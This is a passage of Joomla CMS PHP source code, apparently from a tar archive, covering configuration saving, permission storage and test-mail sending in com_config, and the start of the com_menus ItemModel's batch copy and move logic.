} } else { $app->enqueueMessage(Text::_('COM_CONFIG_ERROR_ROOT_ASSET_NOT_FOUND'), 'error'); return false; } unset($data['rules']); } // Save the text filters if (isset($data['filters'])) { $registry = new Registry(['filters' => $data['filters']]); $extension = Table::getInstance('extension'); // Get extension_id $extensionId = $extension->find(['name' => 'com_config']); if ($extension->load((int) $extensionId)) { $extension->params = (string) $registry; if (!$extension->check() || !$extension->store()) { $app->enqueueMessage($extension->getError(), 'error'); return false; } } else { $app->enqueueMessage(Text::_('COM_CONFIG_ERROR_CONFIG_EXTENSION_NOT_FOUND'), 'error'); return false; } unset($data['filters']); } // Get the previous configuration. $prev = new \JConfig(); $prev = ArrayHelper::fromObject($prev); // Merge the new data in. We do this to preserve values that were not in the form. $data = array_merge($prev, $data); /* * Perform miscellaneous options based on configuration settings/changes. */ // Escape the offline message if present. if (isset($data['offline_message'])) { $data['offline_message'] = OutputFilter::ampReplace($data['offline_message']); } // Purge the database session table if we are changing to the database handler. if ($prev['session_handler'] != 'database' && $data['session_handler'] == 'database') { $db = $this->getDatabase(); $query = $db->getQuery(true) ->delete($db->quoteName('#__session')) ->where($db->quoteName('time') . ' < ' . (time() - 1)); $db->setQuery($query); $db->execute(); } // Purge the database session table if we are disabling session metadata if ($prev['session_metadata'] == 1 && $data['session_metadata'] == 0) { try { // If we are are using the session handler, purge the extra columns, otherwise truncate the whole session table if ($data['session_handler'] === 'database') { $revisedDbo->setQuery( $revisedDbo->getQuery(true) ->update('#__session') ->set( [ $revisedDbo->quoteName('client_id') . ' = 0', $revisedDbo->quoteName('guest') . ' = NULL', $revisedDbo->quoteName('userid') . ' = NULL', $revisedDbo->quoteName('username') . ' = NULL', ] ) )->execute(); } else { $revisedDbo->truncateTable('#__session'); } } catch (\RuntimeException $e) { /* * The database API logs errors on failures so we don't need to add any error handling mechanisms here. * Also, this data won't be added or checked anymore once the configuration is saved, so it'll purge itself * through normal garbage collection anyway or if not using the database handler someone can purge the * table on their own. Either way, carry on Soldier! */ } } // Ensure custom session file path exists or try to create it if changed if (!empty($data['session_filesystem_path'])) { $currentPath = $prev['session_filesystem_path'] ?? null; if ($currentPath) { $currentPath = Path::clean($currentPath); } $data['session_filesystem_path'] = Path::clean($data['session_filesystem_path']); if ($currentPath !== $data['session_filesystem_path']) { if (!Folder::exists($data['session_filesystem_path']) && !Folder::create($data['session_filesystem_path'])) { try { Log::add( Text::sprintf( 'COM_CONFIG_ERROR_CUSTOM_SESSION_FILESYSTEM_PATH_NOTWRITABLE_USING_DEFAULT', $data['session_filesystem_path'] ), Log::WARNING, 'jerror' ); } catch (\RuntimeException $logException) { $app->enqueueMessage( Text::sprintf( 'COM_CONFIG_ERROR_CUSTOM_SESSION_FILESYSTEM_PATH_NOTWRITABLE_USING_DEFAULT', $data['session_filesystem_path'] ), 'warning' ); } $data['session_filesystem_path'] = $currentPath; } } } // Set the shared session configuration if (isset($data['shared_session'])) { $currentShared = $prev['shared_session'] ?? '0'; // Has the user enabled shared sessions? if ($data['shared_session'] == 1 && $currentShared == 0) { // Generate a random shared session name $data['session_name'] = UserHelper::genRandomPassword(16); } // Has the user disabled shared sessions? if ($data['shared_session'] == 0 && $currentShared == 1) { // Remove the session name value unset($data['session_name']); } } // Set the shared session configuration if (isset($data['shared_session'])) { $currentShared = $prev['shared_session'] ?? '0'; // Has the user enabled shared sessions? if ($data['shared_session'] == 1 && $currentShared == 0) { // Generate a random shared session name $data['session_name'] = UserHelper::genRandomPassword(16); } // Has the user disabled shared sessions? if ($data['shared_session'] == 0 && $currentShared == 1) { // Remove the session name value unset($data['session_name']); } } if (empty($data['cache_handler'])) { $data['caching'] = 0; } /* * Look for a custom cache_path * First check if a path is given in the submitted data, then check if a path exists in the previous data, otherwise use the default */ if (!empty($data['cache_path'])) { $path = $data['cache_path']; } elseif (!empty($prev['cache_path'])) { $path = $prev['cache_path']; } else { $path = JPATH_CACHE; } // Give a warning if the cache-folder can not be opened if ($data['caching'] > 0 && $data['cache_handler'] == 'file' && @opendir($path) == false) { $error = true; // If a custom path is in use, try using the system default instead of disabling cache if ($path !== JPATH_CACHE && @opendir(JPATH_CACHE) != false) { try { Log::add( Text::sprintf('COM_CONFIG_ERROR_CUSTOM_CACHE_PATH_NOTWRITABLE_USING_DEFAULT', $path, JPATH_CACHE), Log::WARNING, 'jerror' ); } catch (\RuntimeException $logException) { $app->enqueueMessage( Text::sprintf('COM_CONFIG_ERROR_CUSTOM_CACHE_PATH_NOTWRITABLE_USING_DEFAULT', $path, JPATH_CACHE), 'warning' ); } $path = JPATH_CACHE; $error = false; $data['cache_path'] = ''; } if ($error) { try { Log::add(Text::sprintf('COM_CONFIG_ERROR_CACHE_PATH_NOTWRITABLE', $path), Log::WARNING, 'jerror'); } catch (\RuntimeException $exception) { $app->enqueueMessage(Text::sprintf('COM_CONFIG_ERROR_CACHE_PATH_NOTWRITABLE', $path), 'warning'); } $data['caching'] = 0; } } // Did the user remove their custom cache path? Don't save the variable to the config if (empty($data['cache_path'])) { unset($data['cache_path']); } // Clean the cache if disabled but previously enabled or changing cache handlers; these operations use the `$prev` data already in memory if ((!$data['caching'] && $prev['caching']) || $data['cache_handler'] !== $prev['cache_handler']) { try { Factory::getCache()->clean(); } catch (CacheConnectingException $exception) { try { Log::add(Text::_('COM_CONFIG_ERROR_CACHE_CONNECTION_FAILED'), Log::WARNING, 'jerror'); } catch (\RuntimeException $logException) { $app->enqueueMessage(Text::_('COM_CONFIG_ERROR_CACHE_CONNECTION_FAILED'), 'warning'); } } catch (UnsupportedCacheException $exception) { try { Log::add(Text::_('COM_CONFIG_ERROR_CACHE_DRIVER_UNSUPPORTED'), Log::WARNING, 'jerror'); } catch (\RuntimeException $logException) { $app->enqueueMessage(Text::_('COM_CONFIG_ERROR_CACHE_DRIVER_UNSUPPORTED'), 'warning'); } } } /* * Look for a custom tmp_path * First check if a path is given in the submitted data, then check if a path exists in the previous data, otherwise use the default */ $defaultTmpPath = JPATH_ROOT . '/tmp'; if (!empty($data['tmp_path'])) { $path = $data['tmp_path']; } elseif (!empty($prev['tmp_path'])) { $path = $prev['tmp_path']; } else { $path = $defaultTmpPath; } $path = Path::clean($path); // Give a warning if the tmp-folder is not valid or not writable if (!is_dir($path) || !is_writable($path)) { $error = true; // If a custom path is in use, try using the system default tmp path if ($path !== $defaultTmpPath && is_dir($defaultTmpPath) && is_writable($defaultTmpPath)) { try { Log::add( Text::sprintf('COM_CONFIG_ERROR_CUSTOM_TEMP_PATH_NOTWRITABLE_USING_DEFAULT', $path, $defaultTmpPath), Log::WARNING, 'jerror' ); } catch (\RuntimeException $logException) { $app->enqueueMessage( Text::sprintf('COM_CONFIG_ERROR_CUSTOM_TEMP_PATH_NOTWRITABLE_USING_DEFAULT', $path, $defaultTmpPath), 'warning' ); } $error = false; $data['tmp_path'] = $defaultTmpPath; } if ($error) { try { Log::add(Text::sprintf('COM_CONFIG_ERROR_TMP_PATH_NOTWRITABLE', $path), Log::WARNING, 'jerror'); } catch (\RuntimeException $exception) { $app->enqueueMessage(Text::sprintf('COM_CONFIG_ERROR_TMP_PATH_NOTWRITABLE', $path), 'warning'); } } } /* * Look for a custom log_path * First check if a path is given in the submitted data, then check if a path exists in the previous data, otherwise use the default */ $defaultLogPath = JPATH_ADMINISTRATOR . '/logs'; if (!empty($data['log_path'])) { $path = $data['log_path']; } elseif (!empty($prev['log_path'])) { $path = $prev['log_path']; } else { $path = $defaultLogPath; } $path = Path::clean($path); // Give a warning if the log-folder is not valid or not writable if (!is_dir($path) || !is_writable($path)) { $error = true; // If a custom path is in use, try using the system default log path if ($path !== $defaultLogPath && is_dir($defaultLogPath) && is_writable($defaultLogPath)) { try { Log::add( Text::sprintf('COM_CONFIG_ERROR_CUSTOM_LOG_PATH_NOTWRITABLE_USING_DEFAULT', $path, $defaultLogPath), Log::WARNING, 'jerror' ); } catch (\RuntimeException $logException) { $app->enqueueMessage( Text::sprintf('COM_CONFIG_ERROR_CUSTOM_LOG_PATH_NOTWRITABLE_USING_DEFAULT', $path, $defaultLogPath), 'warning' ); } $error = false; $data['log_path'] = $defaultLogPath; } if ($error) { try { Log::add(Text::sprintf('COM_CONFIG_ERROR_LOG_PATH_NOTWRITABLE', $path), Log::WARNING, 'jerror'); } catch (\RuntimeException $exception) { $app->enqueueMessage(Text::sprintf('COM_CONFIG_ERROR_LOG_PATH_NOTWRITABLE', $path), 'warning'); } } } // Create the new configuration object. $config = new Registry($data); // Overwrite webservices cors settings $app->set('cors', $data['cors']); $app->set('cors_allow_origin', $data['cors_allow_origin']); $app->set('cors_allow_headers', $data['cors_allow_headers']); $app->set('cors_allow_methods', $data['cors_allow_methods']); // Clear cache of com_config component. $this->cleanCache('_system'); $result = $app->triggerEvent('onApplicationBeforeSave', [$config]); // Store the data. if (in_array(false, $result, true)) { throw new \RuntimeException(Text::_('COM_CONFIG_ERROR_UNKNOWN_BEFORE_SAVING')); } // Write the configuration file. $result = $this->writeConfigFile($config); // Trigger the after save event. $app->triggerEvent('onApplicationAfterSave', [$config]); return $result; } /** * Method to unset the root_user value from configuration data. * * This method will load the global configuration data straight from * JConfig and remove the root_user value for security, then save the configuration. * * @return boolean True on success, false on failure. * * @since 1.6 */ public function removeroot() { $app = Factory::getApplication(); // Get the previous configuration. $prev = new \JConfig(); $prev = ArrayHelper::fromObject($prev); // Create the new configuration object, and unset the root_user property unset($prev['root_user']); $config = new Registry($prev); $result = $app->triggerEvent('onApplicationBeforeSave', [$config]); // Store the data. if (in_array(false, $result, true)) { throw new \RuntimeException(Text::_('COM_CONFIG_ERROR_UNKNOWN_BEFORE_SAVING')); } // Write the configuration file. $result = $this->writeConfigFile($config); // Trigger the after save event. $app->triggerEvent('onApplicationAfterSave', [$config]); return $result; } /** * Method to write the configuration to a file. * * @param Registry $config A Registry object containing all global config data. * * @return boolean True on success, false on failure. * * @since 2.5.4 * @throws \RuntimeException */ private function writeConfigFile(Registry $config) { // Set the configuration file path. $file = JPATH_CONFIGURATION . '/configuration.php'; $app = Factory::getApplication(); // Attempt to make the file writeable. if (Path::isOwner($file) && !Path::setPermissions($file, '0644')) { $app->enqueueMessage(Text::_('COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTWRITABLE'), 'notice'); } // Attempt to write the configuration file as a PHP class named JConfig. $configuration = $config->toString('PHP', ['class' => 'JConfig', 'closingtag' => false]); if (!File::write($file, $configuration)) { throw new \RuntimeException(Text::_('COM_CONFIG_ERROR_WRITE_FAILED')); } // Attempt to make the file unwriteable. if (Path::isOwner($file) && !Path::setPermissions($file, '0444')) { $app->enqueueMessage(Text::_('COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTUNWRITABLE'), 'notice'); } return true; } /** * Method to store the permission values in the asset table. * * This method will get an array with permission key value pairs and transform it * into json and update the asset table in the database. * * @param string $permission Need an array with Permissions (component, rule, value and title) * * @return array|bool A list of result data or false on failure. * * @since 3.5 */ public function storePermissions($permission = null) { $app = Factory::getApplication(); $input = $app->getInput(); $user = $this->getCurrentUser(); if (is_null($permission)) { // Get data from input. $permission = [ 'component' => $input->json->get('comp'), 'action' => $input->json->get('action'), 'rule' => $input->json->get('rule'), 'value' => $input->json->get('value'), 'title' => $input->json->get('title', '', 'RAW'), ]; } // We are creating a new item so we don't have an item id so don't allow. if (substr($permission['component'], -6) === '.false') { $app->enqueueMessage(Text::_('JLIB_RULES_SAVE_BEFORE_CHANGE_PERMISSIONS'), 'error'); return false; } // Check if the user is authorized to do this. if (!$user->authorise('core.admin', $permission['component'])) { $app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'error'); return false; } $permission['component'] = empty($permission['component']) ? 'root.1' : $permission['component']; // Current view is global config? $isGlobalConfig = $permission['component'] === 'root.1'; // Check if changed group has Super User permissions. $isSuperUserGroupBefore = Access::checkGroup($permission['rule'], 'core.admin'); // Check if current user belongs to changed group. $currentUserBelongsToGroup = in_array((int) $permission['rule'], $user->groups) ? true : false; // Get current user groups tree. $currentUserGroupsTree = Access::getGroupsByUser($user->id, true); // Check if current user belongs to changed group. $currentUserSuperUser = $user->authorise('core.admin'); // If user is not Super User cannot change the permissions of a group it belongs to. if (!$currentUserSuperUser && $currentUserBelongsToGroup) { $app->enqueueMessage(Text::_('JLIB_USER_ERROR_CANNOT_CHANGE_OWN_GROUPS'), 'error'); return false; } // If user is not Super User cannot change the permissions of a group it belongs to. if (!$currentUserSuperUser && in_array((int) $permission['rule'], $currentUserGroupsTree)) { $app->enqueueMessage(Text::_('JLIB_USER_ERROR_CANNOT_CHANGE_OWN_PARENT_GROUPS'), 'error'); return false; } // If user is not Super User cannot change the permissions of a Super User Group. if (!$currentUserSuperUser && $isSuperUserGroupBefore && !$currentUserBelongsToGroup) { $app->enqueueMessage(Text::_('JLIB_USER_ERROR_CANNOT_CHANGE_SUPER_USER'), 'error'); return false; } // If user is not Super User cannot change the Super User permissions in any group it belongs to. if ($isSuperUserGroupBefore && $currentUserBelongsToGroup && $permission['action'] === 'core.admin') { $app->enqueueMessage(Text::_('JLIB_USER_ERROR_CANNOT_DEMOTE_SELF'), 'error'); return false; } try { /** @var Asset $asset */ $asset = Table::getInstance('asset'); $result = $asset->loadByName($permission['component']); if ($result === false) { $data = [$permission['action'] => [$permission['rule'] => $permission['value']]]; $rules = new Rules($data); $asset->rules = (string) $rules; $asset->name = (string) $permission['component']; $asset->title = (string) $permission['title']; // Get the parent asset id so we have a correct tree. /** @var Asset $parentAsset */ $parentAsset = Table::getInstance('Asset'); if (strpos($asset->name, '.') !== false) { $assetParts = explode('.', $asset->name); $parentAsset->loadByName($assetParts[0]); $parentAssetId = $parentAsset->id; } else { $parentAssetId = $parentAsset->getRootId(); } /** * @todo: incorrect ACL stored * When changing a permission of an item that doesn't have a row in the asset table the row a new row is created. * This works fine for item <-> component <-> global config scenario and component <-> global config scenario. * But doesn't work properly for item <-> section(s) <-> component <-> global config scenario, * because a wrong parent asset id (the component) is stored. * Happens when there is no row in the asset table (ex: deleted or not created on update). */ $asset->setLocation($parentAssetId, 'last-child'); } else { // Decode the rule settings. $temp = json_decode($asset->rules, true); // Check if a new value is to be set. if (isset($permission['value'])) { // Check if we already have an action entry. if (!isset($temp[$permission['action']])) { $temp[$permission['action']] = []; } // Check if we already have a rule entry. if (!isset($temp[$permission['action']][$permission['rule']])) { $temp[$permission['action']][$permission['rule']] = []; } // Set the new permission. $temp[$permission['action']][$permission['rule']] = (int) $permission['value']; // Check if we have an inherited setting. if ($permission['value'] === '') { unset($temp[$permission['action']][$permission['rule']]); } // Check if we have any rules. if (!$temp[$permission['action']]) { unset($temp[$permission['action']]); } } else { // There is no value so remove the action as it's not needed. unset($temp[$permission['action']]); } $asset->rules = json_encode($temp, JSON_FORCE_OBJECT); } if (!$asset->check() || !$asset->store()) { $app->enqueueMessage(Text::_('JLIB_UNKNOWN'), 'error'); return false; } } catch (\Exception $e) { $app->enqueueMessage($e->getMessage(), 'error'); return false; } // All checks done. $result = [ 'text' => '', 'class' => '', 'result' => true, ]; // Show the current effective calculated permission considering current group, path and cascade. try { // The database instance $db = $this->getDatabase(); // Get the asset id by the name of the component. $query = $db->getQuery(true) ->select($db->quoteName('id')) ->from($db->quoteName('#__assets')) ->where($db->quoteName('name') . ' = :component') ->bind(':component', $permission['component']); $db->setQuery($query); $assetId = (int) $db->loadResult(); // Fetch the parent asset id. $parentAssetId = null; /** * @todo: incorrect info * When creating a new item (not saving) it uses the calculated permissions from the component (item <-> component <-> global config). * But if we have a section too (item <-> section(s) <-> component <-> global config) this is not correct. * Also, currently it uses the component permission, but should use the calculated permissions for a child of the component/section. */ // If not in global config we need the parent_id asset to calculate permissions. if (!$isGlobalConfig) { // In this case we need to get the component rules too. $query->clear() ->select($db->quoteName('parent_id')) ->from($db->quoteName('#__assets')) ->where($db->quoteName('id') . ' = :assetid') ->bind(':assetid', $assetId, ParameterType::INTEGER); $db->setQuery($query); $parentAssetId = (int) $db->loadResult(); } // Get the group parent id of the current group. $rule = (int) $permission['rule']; $query->clear() ->select($db->quoteName('parent_id')) ->from($db->quoteName('#__usergroups')) ->where($db->quoteName('id') . ' = :rule') ->bind(':rule', $rule, ParameterType::INTEGER); $db->setQuery($query); $parentGroupId = (int) $db->loadResult(); // Count the number of child groups of the current group. $query->clear() ->select('COUNT(' . $db->quoteName('id') . ')') ->from($db->quoteName('#__usergroups')) ->where($db->quoteName('parent_id') . ' = :rule') ->bind(':rule', $rule, ParameterType::INTEGER); $db->setQuery($query); $totalChildGroups = (int) $db->loadResult(); } catch (\Exception $e) { $app->enqueueMessage($e->getMessage(), 'error'); return false; } // Clear access statistics. Access::clearStatics(); // After current group permission is changed we need to check again if the group has Super User permissions. $isSuperUserGroupAfter = Access::checkGroup($permission['rule'], 'core.admin'); // Get the rule for just this asset (non-recursive) and get the actual setting for the action for this group. $assetRule = Access::getAssetRules($assetId, false, false)->allow($permission['action'], $permission['rule']); // Get the group, group parent id, and group global config recursive calculated permission for the chosen action. $inheritedGroupRule = Access::checkGroup($permission['rule'], $permission['action'], $assetId); if (!empty($parentAssetId)) { $inheritedGroupParentAssetRule = Access::checkGroup($permission['rule'], $permission['action'], $parentAssetId); } else { $inheritedGroupParentAssetRule = null; } $inheritedParentGroupRule = !empty($parentGroupId) ? Access::checkGroup($parentGroupId, $permission['action'], $assetId) : null; // Current group is a Super User group, so calculated setting is "Allowed (Super User)". if ($isSuperUserGroupAfter) { $result['class'] = 'badge bg-success'; $result['text'] = '<span class="icon-lock icon-white" aria-hidden="true"></span>' . Text::_('JLIB_RULES_ALLOWED_ADMIN'); } else { // Not super user. // First get the real recursive calculated setting and add (Inherited) to it. // If recursive calculated setting is "Denied" or null. Calculated permission is "Not Allowed (Inherited)". if ($inheritedGroupRule === null || $inheritedGroupRule === false) { $result['class'] = 'badge bg-danger'; $result['text'] = Text::_('JLIB_RULES_NOT_ALLOWED_INHERITED'); } else { // If recursive calculated setting is "Allowed". Calculated permission is "Allowed (Inherited)". $result['class'] = 'badge bg-success'; $result['text'] = Text::_('JLIB_RULES_ALLOWED_INHERITED'); } // Second part: Overwrite the calculated permissions labels if there is an explicit permission in the current group. /** * @todo: incorrect info * If a component has a permission that doesn't exists in global config (ex: frontend editing in com_modules) by default * we get "Not Allowed (Inherited)" when we should get "Not Allowed (Default)". */ // If there is an explicit permission "Not Allowed". Calculated permission is "Not Allowed". if ($assetRule === false) { $result['class'] = 'badge bg-danger'; $result['text'] = Text::_('JLIB_RULES_NOT_ALLOWED'); } elseif ($assetRule === true) { // If there is an explicit permission is "Allowed". Calculated permission is "Allowed". $result['class'] = 'badge bg-success'; $result['text'] = Text::_('JLIB_RULES_ALLOWED'); } // Third part: Overwrite the calculated permissions labels for special cases. // Global configuration with "Not Set" permission. Calculated permission is "Not Allowed (Default)". if (empty($parentGroupId) && $isGlobalConfig === true && $assetRule === null) { $result['class'] = 'badge bg-danger'; $result['text'] = Text::_('JLIB_RULES_NOT_ALLOWED_DEFAULT'); } elseif ($inheritedGroupParentAssetRule === false || $inheritedParentGroupRule === false) { /** * Component/Item with explicit "Denied" permission at parent Asset (Category, Component or Global config) configuration. * Or some parent group has an explicit "Denied". * Calculated permission is "Not Allowed (Locked)". */ $result['class'] = 'badge bg-danger'; $result['text'] = '<span class="icon-lock icon-white" aria-hidden="true"></span>' . Text::_('JLIB_RULES_NOT_ALLOWED_LOCKED'); } } // If removed or added super user from group, we need to refresh the page to recalculate all settings. if ($isSuperUserGroupBefore != $isSuperUserGroupAfter) { $app->enqueueMessage(Text::_('JLIB_RULES_NOTICE_RECALCULATE_GROUP_PERMISSIONS'), 'notice'); } // If this group has child groups, we need to refresh the page to recalculate the child settings. if ($totalChildGroups > 0) { $app->enqueueMessage(Text::_('JLIB_RULES_NOTICE_RECALCULATE_GROUP_CHILDS_PERMISSIONS'), 'notice'); } return $result; } /** * Method to send a test mail which is called via an AJAX request * * @return boolean * * @since 3.5 */ public function sendTestMail() { // Set the new values to test with the current settings $app = Factory::getApplication(); $user = $this->getCurrentUser(); $input = $app->getInput()->json; $smtppass = $input->get('smtppass', null, 'RAW'); $config = new Registry(); $config->set('smtpauth', $input->get('smtpauth')); $config->set('smtpuser', $input->get('smtpuser', '', 'STRING')); $config->set('smtphost', $input->get('smtphost')); $config->set('smtpsecure', $input->get('smtpsecure')); $config->set('smtpport', $input->get('smtpport')); $config->set('mailfrom', $input->get('mailfrom', '', 'STRING')); $config->set('fromname', $input->get('fromname', '', 'STRING')); $config->set('mailer', $input->get('mailer')); $config->set('mailonline', $input->get('mailonline')); // Use smtppass only if it was submitted if ($smtppass !== null) { $config->set('smtppass', $smtppass); } $mail = $this->getMailerFactory()->createMailer($config); // Prepare email and try to send it $mailer = new MailTemplate('com_config.test_mail', $user->getParam('language', $app->get('language')), $mail); $mailer->addTemplateData( [ // Replace the occurrences of "@" and "|" in the site name 'sitename' => str_replace(['@', '|'], '', $app->get('sitename')), 'method' => Text::_('COM_CONFIG_SENDMAIL_METHOD_' . strtoupper($mail->Mailer)), ] ); $mailer->addRecipient($app->get('mailfrom'), $app->get('fromname')); try { $mailSent = $mailer->send(); } catch (MailDisabledException | phpMailerException $e) { $app->enqueueMessage($e->getMessage(), 'error'); return false; } if ($mailSent === true) { $methodName = Text::_('COM_CONFIG_SENDMAIL_METHOD_' . strtoupper($mail->Mailer)); // If JMail send the mail using PHP Mail as fallback. if ($mail->Mailer !== $app->get('mailer')) { $app->enqueueMessage(Text::sprintf('COM_CONFIG_SENDMAIL_SUCCESS_FALLBACK', $app->get('mailfrom'), $methodName), 'warning'); } else { $app->enqueueMessage(Text::sprintf('COM_CONFIG_SENDMAIL_SUCCESS', $app->get('mailfrom'), $methodName), 'message'); } return true; } $app->enqueueMessage(Text::_('COM_CONFIG_SENDMAIL_ERROR'), 'error'); return false; } } ItemModel.php 0000644 00000164175 15172774270 0007166 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_menus * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Menus\Administrator\Model; use Joomla\CMS\Application\ApplicationHelper; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Filesystem\Path; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Associations; use Joomla\CMS\Language\LanguageHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Model\AdminModel; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Uri\Uri; use Joomla\Component\Menus\Administrator\Helper\MenusHelper; use Joomla\Database\ParameterType; use Joomla\Registry\Registry; use Joomla\String\StringHelper; use Joomla\Utilities\ArrayHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Menu Item Model for Menus. * * @since 1.6 */ class ItemModel extends AdminModel { /** * The type alias for this content type. * * @var string * @since 3.4 */ public $typeAlias = 'com_menus.item'; /** * The context used for the associations table * * @var string * @since 3.4.4 */ protected $associationsContext = 'com_menus.item'; /** * @var string The prefix to use with controller messages. * @since 1.6 */ protected $text_prefix = 'COM_MENUS_ITEM'; /** * @var string The help screen key for the menu item. * @since 1.6 */ protected $helpKey = 'Menu_Item:_New_Item'; /** * @var string The help screen base URL for the menu item. * @since 1.6 */ protected $helpURL; /** * @var boolean True to use local lookup for the help screen. * @since 1.6 */ protected $helpLocal = false; /** * Batch copy/move command. If set to false, * the batch copy/move command is not supported * * @var string */ protected $batch_copymove = 'menu_id'; /** * Allowed batch commands * * @var array */ protected $batch_commands = [ 'assetgroup_id' => 'batchAccess', 'language_id' => 'batchLanguage', ]; /** * Method to test whether a record can be deleted. * * @param object $record A record object. * * @return boolean True if allowed to delete the record. Defaults to the permission set in the component. * * @since 1.6 */ protected function canDelete($record) { if (empty($record->id) || $record->published != -2) { return false; } $menuTypeId = 0; if (!empty($record->menutype)) { $menuTypeId = $this->getMenuTypeId($record->menutype); } return $this->getCurrentUser()->authorise('core.delete', 'com_menus.menu.' . (int) $menuTypeId); } /** * Method to test whether the state of a record can be edited. * * @param object $record A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission for the component. * * @since 3.6 */ protected function canEditState($record) { $menuTypeId = !empty($record->menutype) ? $this->getMenuTypeId($record->menutype) : 0; $assetKey = $menuTypeId ? 'com_menus.menu.' . (int) $menuTypeId : 'com_menus'; return $this->getCurrentUser()->authorise('core.edit.state', $assetKey); } /** * Batch copy menu items to a new menu or parent. * * @param integer $value The new menu or sub-item. * @param array $pks An array of row IDs. * @param array $contexts An array of item contexts. * * @return mixed An array of new IDs on success, boolean false on failure. * * @since 1.6 */ protected function batchCopy($value, $pks, $contexts) { // $value comes as {menutype}.{parent_id} $parts = explode('.', $value); $menuType = $parts[0]; $parentId = ArrayHelper::getValue($parts, 1, 0, 'int'); $table = $this->getTable(); $db = $this->getDatabase(); $query = $db->getQuery(true); $newIds = []; // Check that the parent exists if ($parentId) { if (!$table->load($parentId)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Non-fatal error $this->setError(Text::_('JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND')); $parentId = 0; } } } // If the parent is 0, set it to the ID of the root item in the tree if (empty($parentId)) { if (!$parentId = $table->getRootId()) { $this->setError($table->getError()); return false; } } // Check that user has create permission for menus $user = $this->getCurrentUser(); $menuTypeId = (int) $this->getMenuTypeId($menuType); if (!$user->authorise('core.create', 'com_menus.menu.' . $menuTypeId)) { $this->setError(Text::_('COM_MENUS_BATCH_MENU_ITEM_CANNOT_CREATE')); return false; } // We need to log the parent ID $parents = []; // Calculate the emergency stop count as a precaution against a runaway loop bug $query->select('COUNT(' . $db->quoteName('id') . ')') ->from($db->quoteName('#__menu')); $db->setQuery($query); try { $count = $db->loadResult(); } catch (\RuntimeException $e) { $this->setError($e->getMessage()); return false; } // Parent exists so let's proceed while (!empty($pks) && $count > 0) { // Pop the first id off the stack $pk = array_shift($pks); $table->reset(); // Check that the row actually exists if (!$table->load($pk)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Not fatal error $this->setError(Text::sprintf('JGLOBAL_BATCH_MOVE_ROW_NOT_FOUND', $pk)); continue; } } // Copy is a bit tricky, because we also need to copy the children $query = $db->getQuery(true) ->select($db->quoteName('id')) ->from($db->quoteName('#__menu')) ->where( [ $db->quoteName('lft') . ' > :lft', $db->quoteName('rgt') . ' < :rgt', ] ) ->bind(':lft', $table->lft, ParameterType::INTEGER) ->bind(':rgt', $table->rgt, ParameterType::INTEGER); $db->setQuery($query); $childIds = $db->loadColumn(); // Add child IDs to the array only if they aren't already there. foreach ($childIds as $childId) { if (!in_array($childId, $pks)) { $pks[] = $childId; } } // Make a copy of the old ID and Parent ID $oldId = $table->id; $oldParentId = $table->parent_id; // Reset the id because we are making a copy. $table->id = 0; // If we a copying children, the Old ID will turn up in the parents list // otherwise it's a new top level item $table->parent_id = isset($parents[$oldParentId]) ? $parents[$oldParentId] : $parentId; $table->menutype = $menuType; // Set the new location in the tree for the node. $table->setLocation($table->parent_id, 'last-child'); // @todo: Deal with ordering? // $table->ordering = 1; $table->level = null; $table->lft = null; $table->rgt = null; $table->home = 0; // Alter the title & alias list($title, $alias) = $this->generateNewTitle($table->parent_id, $table->alias, $table->title); $table->title = $title; $table->alias = $alias; // Check the row. if (!$table->check()) { $this->setError($table->getError()); return false; } // Store the row. if (!$table->store()) { $this->setError($table->getError()); return false; } // Get the new item ID $newId = $table->get('id'); // Add the new ID to the array $newIds[$pk] = $newId; // Now we log the old 'parent' to the new 'parent' $parents[$oldId] = $table->id; $count--; } // Rebuild the hierarchy. if (!$table->rebuild()) { $this->setError($table->getError()); return false; } // Rebuild the tree path. if (!$table->rebuildPath($table->id)) { $this->setError($table->getError()); return false; } // Clean the cache $this->cleanCache(); return $newIds; } /** * Batch move menu items to a new menu or parent. * * @param integer $value The new menu or sub-item. * @param array $pks An array of row IDs. * @param array $contexts An array of item contexts. * * @return boolean True on success. * * @since 1.6 */ protected function batchMove($value, $pks, $contexts) { // $value comes as {menutype}.{parent_id} $parts = explode('.', $value); $menuType = $parts[0]; $parentId = ArrayHelper::getValue($parts, 1, 0, 'int'); $table = $this->getTable(); $db = $this->getDatabase(); // Check that the parent exists. if ($parentId) { if (!$table->load($parentId)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Non-fatal error $this->setError(Text::_('JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND')); $parentId = 0; } } } // Check that user has create and edit permission for menus $user = $this->getCurrentUser(); $menuTypeId = (int) $this->getMenuTypeId($menuType); if (!$user->authorise('core.create', 'com_menus.menu.' . $menuTypeId)) { $this->setError(Text::_('COM_MENUS_BATCH_MENU_ITEM_CANNOT_CREATE')); return false; } if (!$user->authorise('core.edit', 'com_menus.menu.' . $menuTypeId)) { $this->setError(Text::_('COM_MENUS_BATCH_MENU_ITEM_CANNOT_EDIT')); return false; } // We are going to store all the children and just moved the menutype $children = []; // Parent exists so let's proceed foreach ($pks as $pk) { // Check that the row actually exists if (!$table->load($pk)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Not fatal error $this->setError(Text::sprintf('JGLOBAL_BATCH_MOVE_ROW_NOT_FOUND', $pk)); continue; } } // Set the new location in the tree for the node. $table->setLocation($parentId, 'last-child'); // Set the new Parent Id $table->parent_id = $parentId; // Check if we are moving to a different menu if ($menuType != $table->menutype) { // Add the child node ids to the children array. $query = $db->getQuery(true) ->select($db->quoteName('id')) ->from($db->quoteName('#__menu')) ->where($db->quoteName('lft') . ' BETWEEN :lft AND :rgt') 